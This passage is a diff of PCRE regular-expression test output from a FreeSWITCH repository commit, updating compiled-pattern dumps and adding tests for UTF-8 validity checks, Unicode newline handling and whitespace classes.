- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [ab]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored utf8
@@ -368,13 +355,13 @@
     \x{100}  
 No match
 
-/^[^ab]/8D
+/^[^ab]/8DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [\x00-`c-\xff] (neg)
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [\x00-`c-\xff] (neg)
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored utf8
@@ -391,12 +378,12 @@
     aaa
 No match
   
-/[^ab\xC0-\xF0]/8SD
+/[^ab\xC0-\xF0]/8SDZ
 ------------------------------------------------------------------
-  0  36 Bra 0
-  3     [\x00-`c-\xbf\xf1-\xff] (neg)
- 36  36 Ket
- 39     End
+        Bra
+        [\x00-`c-\xbf\xf1-\xff] (neg)
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
@@ -427,13 +414,13 @@
     \x{f0} 
 No match
 
-/Ā{3,4}/8SD
+/Ā{3,4}/8SDZ
 ------------------------------------------------------------------
-  0  13 Bra 0
-  3     \x{100}{3}
-  8     \x{100}{,1}
- 13  13 Ket
- 16     End
+        Bra
+        \x{100}{3}
+        \x{100}?
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -444,16 +431,16 @@
   \x{100}\x{100}\x{100}\x{100\x{100}
  0: \x{100}\x{100}\x{100}
 
-/(\x{100}+|x)/8SD
+/(\x{100}+|x)/8SDZ
 ------------------------------------------------------------------
-  0  17 Bra 0
-  3   6 Bra 1
-  6     \x{100}+
-  9   5 Alt
- 12     x
- 14  11 Ket
- 17  17 Ket
- 20     End
+        Bra
+        CBra 1
+        \x{100}+
+        Alt
+        x
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Partial matching not supported
@@ -462,17 +449,17 @@
 No need char
 Starting byte set: x \xc4 
 
-/(\x{100}*a|x)/8SD
+/(\x{100}*a|x)/8SDZ
 ------------------------------------------------------------------
-  0  19 Bra 0
-  3   8 Bra 1
-  6     \x{100}*
-  9     a
- 11   5 Alt
- 14     x
- 16  13 Ket
- 19  19 Ket
- 22     End
+        Bra
+        CBra 1
+        \x{100}*+
+        a
+        Alt
+        x
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Partial matching not supported
@@ -481,17 +468,17 @@
 No need char
 Starting byte set: a x \xc4 
 
-/(\x{100}{0,2}a|x)/8SD
+/(\x{100}{0,2}a|x)/8SDZ
 ------------------------------------------------------------------
-  0  21 Bra 0
-  3  10 Bra 1
-  6     \x{100}{,2}
- 11     a
- 13   5 Alt
- 16     x
- 18  15 Ket
- 21  21 Ket
- 24     End
+        Bra
+        CBra 1
+        \x{100}{0,2}
+        a
+        Alt
+        x
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Partial matching not supported
@@ -500,18 +487,18 @@
 No need char
 Starting byte set: a x \xc4 
 
-/(\x{100}{1,2}a|x)/8SD
+/(\x{100}{1,2}a|x)/8SDZ
 ------------------------------------------------------------------
-  0  24 Bra 0
-  3  13 Bra 1
-  6     \x{100}
-  9     \x{100}{,1}
- 14     a
- 16   5 Alt
- 19     x
- 21  18 Ket
- 24  24 Ket
- 27     End
+        Bra
+        CBra 1
+        \x{100}
+        \x{100}{0,1}
+        a
+        Alt
+        x
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Partial matching not supported
@@ -544,24 +531,24 @@
     \x{100}\x{100}abcd
 No match
 
-/\x{100}/8D
+/\x{100}/8DZ
 ------------------------------------------------------------------
-  0   6 Bra 0
-  3     \x{100}
-  6   6 Ket
-  9     End
+        Bra
+        \x{100}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 196
 Need char = 128
 
-/\x{100}*/8D
+/\x{100}*/8DZ
 ------------------------------------------------------------------
-  0   6 Bra 0
-  3     \x{100}*
-  6   6 Ket
-  9     End
+        Bra
+        \x{100}*
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -569,13 +556,13 @@
 No first char
 No need char
 
-/a\x{100}*/8D
+/a\x{100}*/8DZ
 ------------------------------------------------------------------
-  0   8 Bra 0
-  3     a
-  5     \x{100}*
-  8   8 Ket
- 11     End
+        Bra
+        a
+        \x{100}*
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -583,13 +570,13 @@
 First char = 'a'
 No need char
 
-/ab\x{100}*/8D
+/ab\x{100}*/8DZ
 ------------------------------------------------------------------
-  0  10 Bra 0
-  3     ab
-  7     \x{100}*
- 10  10 Ket
- 13     End
+        Bra
+        ab
+        \x{100}*
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -597,13 +584,13 @@
 First char = 'a'
 Need char = 'b'
 
-/a\x{100}\x{101}*/8D
+/a\x{100}\x{101}*/8DZ
 ------------------------------------------------------------------
-  0  11 Bra 0
-  3     a\x{100}
-  8     \x{101}*
- 11  11 Ket
- 14     End
+        Bra
+        a\x{100}
+        \x{101}*
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -611,13 +598,13 @@
 First char = 'a'
 Need char = 128
 
-/a\x{100}\x{101}+/8D
+/a\x{100}\x{101}+/8DZ
 ------------------------------------------------------------------
-  0  11 Bra 0
-  3     a\x{100}
-  8     \x{101}+
- 11  11 Ket
- 14     End
+        Bra
+        a\x{100}
+        \x{101}+
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -625,13 +612,13 @@
 First char = 'a'
 Need char = 129
 
-/\x{100}*A/8D
+/\x{100}*A/8DZ
 ------------------------------------------------------------------
-  0   8 Bra 0
-  3     \x{100}*
-  6     A
-  8   8 Ket
- 11     End
+        Bra
+        \x{100}*+
+        A
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -641,16 +628,16 @@
     A
  0: A
 
-/\x{100}*\d(?R)/8D
+/\x{100}*\d(?R)/8DZ
 ------------------------------------------------------------------
-  0  16 Bra 0
-  3     \x{100}*
-  6     \d
-  7   6 Once
- 10   0 Recurse
- 13   6 Ket
- 16  16 Ket
- 19     End
+        Bra
+        \x{100}*+
+        \d
+        Once
+        Recurse
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -658,37 +645,36 @@
 No first char
 No need char
 
-/[^\x{c4}]/D
+/[^\x{c4}]/DZ
 ------------------------------------------------------------------
-  0   5 Bra 0
-  3     [^\xc4]
-  5   5 Ket
-  8     End
+        Bra
+        [^\xc4]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/[^\x{c4}]/8D
+/[^\x{c4}]/8DZ
 ------------------------------------------------------------------
-  0  36 Bra 0
-  3     [\x00-\xc3\xc5-\xff] (neg)
- 36  36 Ket
- 39     End
+        Bra
+        [\x00-\xc3\xc5-\xff] (neg)
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 No first char
 No need char
 
-/[\x{100}]/8DM
-Memory allocation (code space): 47
+/[\x{100}]/8DZ
 ------------------------------------------------------------------
-  0  11 Bra 0
-  3     [\x{100}]
- 11  11 Ket
- 14     End
+        Bra
+        [\x{100}]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
@@ -703,13 +689,12 @@
     *** Failers 
 No match
 
-/[Z\x{100}]/8DM
-Memory allocation (code space): 47
+/[Z\x{100}]/8DZ
 ------------------------------------------------------------------
-  0  43 Bra 0
-  3     [Z\x{100}]
- 43  43 Ket
- 46     End
+        Bra
+        [Z\x{100}]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
@@ -739,24 +724,24 @@
     \x{ff}    
 No match
 
-/[z-\x{100}]/8D
+/[z-\x{100}]/8DZ
 ------------------------------------------------------------------
-  0  12 Bra 0
-  3     [z-\x{100}]
- 12  12 Ket
- 15     End
+        Bra
+        [z-\x{100}]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 No first char
 No need char
 
-/[z\Qa-d]Ā\E]/8D
+/[z\Qa-d]Ā\E]/8DZ
 ------------------------------------------------------------------
-  0  43 Bra 0
-  3     [\-\]adz\x{100}]
- 43  43 Ket
- 46     End
+        Bra
+        [\-\]adz\x{100}]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
@@ -767,12 +752,12 @@
     Ā 
  0: \x{100}
 
-/[\xFF]/D
+/[\xFF]/DZ
 ------------------------------------------------------------------
-  0   5 Bra 0
-  3     \xff
-  5   5 Ket
-  8     End
+        Bra
+        \xff
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
@@ -781,12 +766,12 @@
     >\xff<
  0: \xff
 
-/[\xff]/D8
+/[\xff]/DZ8
 ------------------------------------------------------------------
-  0   6 Bra 0
-  3     \x{ff}
-  6   6 Ket
-  9     End
+        Bra
+        \x{ff}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
@@ -795,24 +780,24 @@
     >\x{ff}<
  0: \x{ff}
 
-/[^\xFF]/D
+/[^\xFF]/DZ
 ------------------------------------------------------------------
-  0   5 Bra 0
-  3     [^\xff]
-  5   5 Ket
-  8     End
+        Bra
+        [^\xff]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/[^\xff]/8D
+/[^\xff]/8DZ
 ------------------------------------------------------------------
-  0  36 Bra 0
-  3     [\x00-\xfe] (neg)
- 36  36 Ket
- 39     End
+        Bra
+        [\x00-\xfe] (neg)
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
@@ -852,12 +837,12 @@
 /\xC3\xC3\xC3xxx/8
 Failed: invalid UTF-8 string at offset 1
 
-/\xC3\xC3\xC3xxx/8?D
+/\xC3\xC3\xC3xxx/8?DZ
 ------------------------------------------------------------------
-  0  15 Bra 0
-  3     \X{c0}\X{c0}\X{c0}xxx
- 15  15 Ket
- 18     End
+        Bra
+        \X{c0}\X{c0}\X{c0}xxx
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8 no_utf8_check
@@ -902,178 +887,186 @@
     \xf1\x8f\x80\x80 
 No match
     \xf8\x88\x80\x80\x80  
-No match
+Error -10
     \xf9\x87\x80\x80\x80  
-No match
+Error -10
     \xfc\x84\x80\x80\x80\x80
-No match
+Error -10
     \xfd\x83\x80\x80\x80\x80
+Error -10
+    \?\xf8\x88\x80\x80\x80  
 No match
+    \?\xf9\x87\x80\x80\x80  
+No match
+    \?\xfc\x84\x80\x80\x80\x80
+No match
+    \?\xfd\x83\x80\x80\x80\x80
+No match
 
-/\x{100}abc(xyz(?1))/8D
+/\x{100}abc(xyz(?1))/8DZ
 ------------------------------------------------------------------
-  0  33 Bra 0
-  3     \x{100}abc
- 12  18 Bra 1
- 15     xyz
- 21   6 Once
- 24  12 Recurse
- 27   6 Ket
- 30  18 Ket
- 33  33 Ket
- 36     End
+        Bra
+        \x{100}abc
+        CBra 1
+        xyz
+        Once
+        Recurse
+        Ket
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Options: utf8
 First char = 196
 Need char = 'z'
 
-/[^\x{100}]abc(xyz(?1))/8D
+/[^\x{100}]abc(xyz(?1))/8DZ
 ------------------------------------------------------------------
-  0  38 Bra 0
-  3     [^\x{100}]
- 11     abc
- 17  18 Bra 1
- 20     xyz
- 26   6 Once
- 29  17 Recurse
- 32   6 Ket
- 35  18 Ket
- 38  38 Ket
- 41     End
+        Bra
+        [^\x{100}]
+        abc
+        CBra 1
+        xyz
+        Once
+        Recurse
+        Ket
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Options: utf8
 No first char
 Need char = 'z'
 
-/[ab\x{100}]abc(xyz(?1))/8D
+/[ab\x{100}]abc(xyz(?1))/8DZ
 ------------------------------------------------------------------
-  0  70 Bra 0
-  3     [ab\x{100}]
- 43     abc
- 49  18 Bra 1
- 52     xyz
- 58   6 Once
- 61  49 Recurse
- 64   6 Ket
- 67  18 Ket
- 70  70 Ket
- 73     End
+        Bra
+        [ab\x{100}]
+        abc
+        CBra 1
+        xyz
+        Once
+        Recurse
+        Ket
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Options: utf8
 No first char
 Need char = 'z'
 
-/(\x{100}(b(?2)c))?/D8
+/(\x{100}(b(?2)c))?/DZ8
 ------------------------------------------------------------------
-  0  32 Bra 0
-  3     Brazero
-  4  25 Bra 1
-  7     \x{100}
- 10  16 Bra 2
- 13     b
- 15   6 Once
- 18  10 Recurse
- 21   6 Ket
- 24     c
- 26  16 Ket
- 29  25 Ket
- 32  32 Ket
- 35     End
+        Bra
+        Brazero
+        CBra 1
+        \x{100}
+        CBra 2
+        b
+        Once
+        Recurse
+        Ket
+        c
+        Ket
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 2
 Options: utf8
 No first char
 No need char
 
-/(\x{100}(b(?2)c)){0,2}/D8
+/(\x{100}(b(?2)c)){0,2}/DZ8
 ------------------------------------------------------------------
-  0  67 Bra 0
-  3     Brazero
-  4  60 Bra 0
-  7  25 Bra 1
- 10     \x{100}
- 13  16 Bra 2
- 16     b
- 18   6 Once
- 21  13 Recurse
- 24   6 Ket
- 27     c
- 29  16 Ket
- 32  25 Ket
- 35     Brazero
- 36  25 Bra 1
- 39     \x{100}
- 42  16 Bra 2
- 45     b
- 47   6 Once
- 50  13 Recurse
- 53   6 Ket
- 56     c
- 58  16 Ket
- 61  25 Ket
- 64  60 Ket
- 67  67 Ket
- 70     End
+        Bra
+        Brazero
+        Bra
+        CBra 1
+        \x{100}
+        CBra 2
+        b
+        Once
+        Recurse
+        Ket
+        c
+        Ket
+        Ket
+        Brazero
+        CBra 1
+        \x{100}
+        CBra 2
+        b
+        Once
+        Recurse
+        Ket
+        c
+        Ket
+        Ket
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 2
 Options: utf8
 No first char
 No need char
 
-/(\x{100}(b(?1)c))?/D8
+/(\x{100}(b(?1)c))?/DZ8
 ------------------------------------------------------------------
-  0  32 Bra 0
-  3     Brazero
-  4  25 Bra 1
-  7     \x{100}
- 10  16 Bra 2
- 13     b
- 15   6 Once
- 18   4 Recurse
- 21   6 Ket
- 24     c
- 26  16 Ket
- 29  25 Ket
- 32  32 Ket
- 35     End
+        Bra
+        Brazero
+        CBra 1
+        \x{100}
+        CBra 2
+        b
+        Once
+        Recurse
+        Ket
+        c
+        Ket
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 2
 Options: utf8
 No first char
 No need char
 
-/(\x{100}(b(?1)c)){0,2}/D8
+/(\x{100}(b(?1)c)){0,2}/DZ8
 ------------------------------------------------------------------
-  0  67 Bra 0
-  3     Brazero
-  4  60 Bra 0
-  7  25 Bra 1
- 10     \x{100}
- 13  16 Bra 2
- 16     b
- 18   6 Once
- 21   7 Recurse
- 24   6 Ket
- 27     c
- 29  16 Ket
- 32  25 Ket
- 35     Brazero
- 36  25 Bra 1
- 39     \x{100}
- 42  16 Bra 2
- 45     b
- 47   6 Once
- 50   7 Recurse
- 53   6 Ket
- 56     c
- 58  16 Ket
- 61  25 Ket
- 64  60 Ket
- 67  67 Ket
- 70     End
+        Bra
+        Brazero
+        Bra
+        CBra 1
+        \x{100}
+        CBra 2
+        b
+        Once
+        Recurse
+        Ket
+        c
+        Ket
+        Ket
+        Brazero
+        CBra 1
+        \x{100}
+        CBra 2
+        b
+        Once
+        Recurse
+        Ket
+        c
+        Ket
+        Ket
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 2
 Options: utf8
@@ -1094,13 +1087,13 @@
     a\x{1234}b
  0: a\x{1234}b
 
-/^\ሴ/8D
+/^\ሴ/8DZ
 ------------------------------------------------------------------
-  0   8 Bra 0
-  3     ^
-  4     \x{1234}
-  8   8 Ket
- 11     End
+        Bra
+        ^
+        \x{1234}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored utf8
@@ -1119,5 +1112,544 @@
  0: \x{1ff}
   \777 
  0: \x{1ff}
+  
+/\x{100}*\d/8DZ
+------------------------------------------------------------------
+        Bra
+        \x{100}*+
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Partial matching not supported
+Options: utf8
+No first char
+No need char
 
+/\x{100}*\s/8DZ
+------------------------------------------------------------------
+        Bra
+        \x{100}*+
+        \s
+        Ket
+        End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Partial matching not supported
+Options: utf8
+No first char
+No need char
+
+/\x{100}*\w/8DZ
+------------------------------------------------------------------
+        Bra
+        \x{100}*+
+        \w
+        Ket
+        End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Partial matching not supported
+Options: utf8
+No first char
+No need char
+
+/\x{100}*\D/8DZ
+------------------------------------------------------------------
+        Bra
+        \x{100}*
+        \D
+        Ket
+        End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Partial matching not supported
+Options: utf8
+No first char
+No need char
+
+/\x{100}*\S/8DZ
+------------------------------------------------------------------
+        Bra
+        \x{100}*
+        \S
+        Ket
+        End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Partial matching not supported
+Options: utf8
+No first char
+No need char
+
+/\x{100}*\W/8DZ
+------------------------------------------------------------------
+        Bra
+        \x{100}*
+        \W
+        Ket
+        End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Partial matching not supported
+Options: utf8
+No first char
+No need char
+
+/\x{100}+\x{200}/8DZ
+------------------------------------------------------------------
+        Bra
+        \x{100}++
+        \x{200}
+        Ket
+        End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Partial matching not supported
+Options: utf8
+First char = 196
+Need char = 128
+
+/\x{100}+X/8DZ
+------------------------------------------------------------------
+        Bra
+        \x{100}++
+        X
+        Ket
+        End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Partial matching not supported
+Options: utf8
+First char = 196
+Need char = 'X'
+
+/X+\x{200}/8DZ
+------------------------------------------------------------------
+        Bra
+        X++
+        \x{200}
+        Ket
+        End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Partial matching not supported
+Options: utf8
+First char = 'X'
+Need char = 128
+
+/()()()()()()()()()()
+ ()()()()()()()()()()
+ ()()()()()()()()()()
+ ()()()()()()()()()()
+ A (x) (?41) B/8x
+    AxxB     
+Matched, but too many substrings
+ 0: AxxB
+ 1: 
+ 2: 
+ 3: 
+ 4: 
+ 5: 
+ 6: 
+ 7: 
+ 8: 
+ 9: 
+10: 
+11: 
+12: 
+13: 
+14: 
+
+/^[\x{100}\E-\Q\E\x{150}]/BZ8
+------------------------------------------------------------------
+        Bra
+        ^
+        [\x{100}-\x{150}]
+        Ket
+        End
+------------------------------------------------------------------
+
+/^[\QĀ\E-\QŐ\E]/BZ8
+------------------------------------------------------------------
+        Bra
+        ^
+        [\x{100}-\x{150}]
+        Ket
+        End
+------------------------------------------------------------------
+
+/^[\QĀ\E-\QŐ\E/BZ8
+Failed: missing terminating ] for character class at offset 15
+
+/^abc./mgx8<any>
+    abc1 \x0aabc2 \x0babc3xx \x0cabc4 \x0dabc5xx \x0d\x0aabc6 \x{0085}abc7 \x{2028}abc8 \x{2029}abc9 JUNK
+ 0: abc1
+ 0: abc2
+ 0: abc3
+ 0: abc4
+ 0: abc5
+ 0: abc6
+ 0: abc7
+ 0: abc8
+ 0: abc9
+
+/abc.$/mgx8<any>
+    abc1\x0a abc2\x0b abc3\x0c abc4\x0d abc5\x0d\x0a abc6\x{0085} abc7\x{2028} abc8\x{2029} abc9
+ 0: abc1
+ 0: abc2
+ 0: abc3
+ 0: abc4
+ 0: abc5
+ 0: abc6
+ 0: abc7
+ 0: abc8
+ 0: abc9
+
+/^a\Rb/8<bsr_unicode>
+    a\nb
+ 0: a\x{0a}b
+    a\rb
+ 0: a\x{0d}b
+    a\r\nb
+ 0: a\x{0d}\x{0a}b
+    a\x0bb
+ 0: a\x{0b}b
+    a\x0cb
+ 0: a\x{0c}b
+    a\x{85}b   
+ 0: a\x{85}b
+    a\x{2028}b 
+ 0: a\x{2028}b
+    a\x{2029}b 
+ 0: a\x{2029}b
+    ** Failers
+No match
+    a\n\rb    
+No match
+
+/^a\R*b/8<bsr_unicode>
+    ab
+ 0: ab
+    a\nb
+ 0: a\x{0a}b
+    a\rb
+ 0: a\x{0d}b
+    a\r\nb
+ 0: a\x{0d}\x{0a}b
+    a\x0bb
+ 0: a\x{0b}b
+    a\x0c\x{2028}\x{2029}b
+ 0: a\x{0c}\x{2028}\x{2029}b
+    a\x{85}b   
+ 0: a\x{85}b
+    a\n\rb    
+ 0: a\x{0a}\x{0d}b
+    a\n\r\x{85}\x0cb 
+ 0: a\x{0a}\x{0d}\x{85}\x{0c}b
+
+/^a\R+b/8<bsr_unicode>
+    a\nb
+ 0: a\x{0a}b
+    a\rb
+ 0: a\x{0d}b
+    a\r\nb
+ 0: a\x{0d}\x{0a}b
+    a\x0bb
+ 0: a\x{0b}b
+    a\x0c\x{2028}\x{2029}b
+ 0: a\x{0c}\x{2028}\x{2029}b
+    a\x{85}b   
+ 0: a\x{85}b
+    a\n\rb    
+ 0: a\x{0a}\x{0d}b
+    a\n\r\x{85}\x0cb 
+ 0: a\x{0a}\x{0d}\x{85}\x{0c}b
+    ** Failers
+No match
+    ab  
+No match
+
+/^a\R{1,3}b/8<bsr_unicode>
+    a\nb
+ 0: a\x{0a}b
+    a\n\rb
+ 0: a\x{0a}\x{0d}b
+    a\n\r\x{85}b
+ 0: a\x{0a}\x{0d}\x{85}b
+    a\r\n\r\nb 
+ 0: a\x{0d}\x{0a}\x{0d}\x{0a}b
+    a\r\n\r\n\r\nb 
+ 0: a\x{0d}\x{0a}\x{0d}\x{0a}\x{0d}\x{0a}b
+    a\n\r\n\rb
+ 0: a\x{0a}\x{0d}\x{0a}\x{0d}b
+    a\n\n\r\nb 
+ 0: a\x{0a}\x{0a}\x{0d}\x{0a}b
+    ** Failers
+No match
+    a\n\n\n\rb
+No match
+    a\r
+No match
+
+/\H\h\V\v/8
+    X X\x0a
+ 0: X X\x{0a}
+    X\x09X\x0b
+ 0: X\x{09}X\x{0b}
+    ** Failers
+No match
+    \x{a0} X\x0a   
+No match
+    
+/\H*\h+\V?\v{3,4}/8 
+    \x09\x20\x{a0}X\x0a\x0b\x0c\x0d\x0a
+ 0: \x{09} \x{a0}X\x{0a}\x{0b}\x{0c}\x{0d}
+    \x09\x20\x{a0}\x0a\x0b\x0c\x0d\x0a
+ 0: \x{09} \x{a0}\x{0a}\x{0b}\x{0c}\x{0d}
+    \x09\x20\x{a0}\x0a\x0b\x0c
+ 0: \x{09} \x{a0}\x{0a}\x{0b}\x{0c}
+    ** Failers 
+No match
+    \x09\x20\x{a0}\x0a\x0b
+No match
+     
+/\H\h\V\v/8
+    \x{3001}\x{3000}\x{2030}\x{2028}
+ 0: \x{3001}\x{3000}\x{2030}\x{2028}
+    X\x{180e}X\x{85}
+ 0: X\x{180e}X\x{85}
+    ** Failers
+No match
+    \x{2009} X\x0a   
+No match
+    
+/\H*\h+\V?\v{3,4}/8 
+    \x{1680}\x{180e}\x{2007}X\x{2028}\x{2029}\x0c\x0d\x0a
+ 0: \x{1680}\x{180e}\x{2007}X\x{2028}\x{2029}\x{0c}\x{0d}
+    \x09\x{205f}\x{a0}\x0a\x{2029}\x0c\x{2028}\x0a
+ 0: \x{09}\x{205f}\x{a0}\x{0a}\x{2029}\x{0c}\x{2028}
+    \x09\x20\x{202f}\x0a\x0b\x0c
+ 0: \x{09} \x{202f}\x{0a}\x{0b}\x{0c}
+    ** Failers 
+No match
+    \x09\x{200a}\x{a0}\x{2028}\x0b
+No match
+     
+/[\h]/8BZ
+------------------------------------------------------------------
+        Bra
+        [\x09 \xa0\x{1680}\x{180e}\x{2000}-\x{200a}\x{202f}\x{205f}\x{3000}]
+        Ket
+        End
+------------------------------------------------------------------
+    >\x{1680}
+ 0: \x{1680}
+
+/[\h]{3,}/8BZ
+------------------------------------------------------------------
+        Bra
+        [\x09 \xa0\x{1680}\x{180e}\x{2000}-\x{200a}\x{202f}\x{205f}\x{3000}]{3,}
+        Ket
+        End
+------------------------------------------------------------------
+    >\x{1680}\x{180e}\x{2000}\x{2003}\x{200a}\x{202f}\x{205f}\x{3000}<
+ 0: \x{1680}\x{180e}\x{2000}\x{2003}\x{200a}\x{202f}\x{205f}\x{3000}
+
+/[\v]/8BZ
+------------------------------------------------------------------
+        Bra
+        [\x0a-\x0d\x85\x{2028}-\x{2029}]
+        Ket
+        End
+------------------------------------------------------------------
+
+/[\H]/8BZ
+------------------------------------------------------------------
+        Bra
+        [\x00-\x08\x0a-\x1f!-\x9f\xa1-\xff\x{100}-\x{167f}\x{1681}-\x{180d}\x{180f}-\x{1fff}\x{200b}-\x{202e}\x{2030}-\x{205e}\x{2060}-\x{2fff}\x{3001}-\x{7fffffff}]
+        Ket
+        End
+------------------------------------------------------------------
+
+/[\V]/8BZ
+------------------------------------------------------------------
+        Bra
+        [\x00-\x09\x0e-\x84\x86-\xff\x{100}-\x{2027}\x{2029}-\x{7fffffff}]
+        Ket
+        End
+------------------------------------------------------------------
+
+/.*$/8<any>
+    \x{1ec5} 
+ 0: \x{1ec5}
+    
+/-- This tests the stricter UTF-8 check according to RFC 3629. --/ 
+    
+/X/8
+    \x{0}\x{d7ff}\x{e000}\x{10ffff}
+No match
+    \x{d800}
+Error -10
+    \x{d800}\?
+No match
+    \x{da00}
+Error -10
+    \x{da00}\?
+No match
+    \x{dfff}
+Error -10
+    \x{dfff}\?
+No match
+    \x{110000}    
+Error -10
+    \x{110000}\?    
+No match
+    \x{2000000} 
+Error -10
+    \x{2000000}\? 
+No match
+    \x{7fffffff} 
+Error -10
+    \x{7fffffff}\? 
+No match
+
+/a\Rb/I8<bsr_anycrlf>
+Capturing subpattern count = 0
+Options: bsr_anycrlf utf8
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x{0d}b
+    a\nb
+ 0: a\x{0a}b
+    a\r\nb
+ 0: a\x{0d}\x{0a}b
+    ** Failers
+No match
+    a\x{85}b
+No match
+    a\x0bb     
+No match
+
+/a\Rb/I8<bsr_unicode>
+Capturing subpattern count = 0
+Options: bsr_unicode utf8
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x{0d}b
+    a\nb
+ 0: a\x{0a}b
+    a\r\nb
+ 0: a\x{0d}\x{0a}b
+    a\x{85}b
+ 0: a\x{85}b
+    a\x0bb     
+ 0: a\x{0b}b
+    ** Failers 
+No match
+    a\x{85}b\<bsr_anycrlf>
+No match
+    a\x0bb\<bsr_anycrlf>
+No match
+    
+/a\R?b/I8<bsr_anycrlf>
+Capturing subpattern count = 0
+Options: bsr_anycrlf utf8
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x{0d}b
+    a\nb
+ 0: a\x{0a}b
+    a\r\nb
+ 0: a\x{0d}\x{0a}b
+    ** Failers
+No match
+    a\x{85}b
+No match
+    a\x0bb     
+No match
+
+/a\R?b/I8<bsr_unicode>
+Capturing subpattern count = 0
+Options: bsr_unicode utf8
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x{0d}b
+    a\nb
+ 0: a\x{0a}b
+    a\r\nb
+ 0: a\x{0d}\x{0a}b
+    a\x{85}b
+ 0: a\x{85}b
+    a\x0bb     
+ 0: a\x{0b}b
+    ** Failers 
+No match
+    a\x{85}b\<bsr_anycrlf>
+No match
+    a\x0bb\<bsr_anycrlf>
+No match
+ 
+/.*a.*=.b.*/8<ANY>
+    QQQ\x{2029}ABCaXYZ=!bPQR
+ 0: ABCaXYZ=!bPQR
+    ** Failers
+No match
+    a\x{2029}b
+No match
+    \x61\xe2\x80\xa9\x62 
+No match
+
+/[[:a\x{100}b:]]/8
+Failed: unknown POSIX class name at offset 3
+
+/a[^]b/<JS>8
+    a\x{1234}b
+ 0: a\x{1234}b
+    a\nb 
+ 0: a\x{0a}b
+    ** Failers
+No match
+    ab  
+No match
+    
+/a[^]+b/<JS>8
+    aXb
+ 0: aXb
+    a\nX\nX\x{1234}b 
+ 0: a\x{0a}X\x{0a}X\x{1234}b
+    ** Failers
+No match
+    ab  
+No match
+
+/(\x{de})\1/
+    \x{de}\x{de}
+ 0: \xde\xde
+ 1: \xde
+    \x{123} 
+** Character \x{123} is greater than 255 and UTF-8 mode is not enabled.
+** Truncation will probably give the wrong result.
+No match
+
+/X/8f<any> 
+    A\x{1ec5}ABCXYZ
+ 0: X
+
+/(*UTF8)\x{1234}/
+  abcd\x{1234}pqr
+ 0: \x{1234}
+
+/(*CRLF)(*UTF8)(*BSR_UNICODE)a\Rb/I
+Capturing subpattern count = 0
+Options: bsr_unicode utf8
+Forced newline sequence: CRLF
+First char = 'a'
+Need char = 'b'
+
 / End of testinput5 /

Modified: freeswitch/branches/seven/libs/pcre/testdata/testoutput6 (14471 => 14472)


